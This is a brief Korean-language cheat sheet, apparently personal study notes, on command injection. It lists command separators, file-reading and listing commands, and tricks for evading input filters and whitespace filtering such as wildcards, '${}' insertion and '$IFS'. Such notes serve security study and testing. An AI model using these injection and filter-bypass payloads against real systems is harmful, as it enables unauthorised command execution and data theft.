command injection #2

이전 글 대비 중복이 있겠으나 일단 추가해봄.

 

command 실행

;명령어
&&명령어
`명령어`
$(명령어)

 

파일 읽기

cat 파일명
head 파일명
tail 파일명
more 파일명
grep 문자열 파일명
fold
tac
less
nl
rev
sort
diff 파일명1 파일명2

 

파일 내역

ls
ll
dir
echo *

 

필터링 우회

*
?
[0-z] #ascii code 순서임
${} #c${}at 과 같은 식

 

공백 필터링

{명령어,인자}
명령어$IFS$()인자
명령어${IFS}인자